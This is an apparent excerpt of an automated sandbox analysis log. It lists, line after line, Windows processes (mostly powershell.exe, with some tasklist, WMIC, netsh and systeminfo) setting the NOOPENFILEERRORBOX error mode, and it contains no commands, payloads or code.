Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\systeminfo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
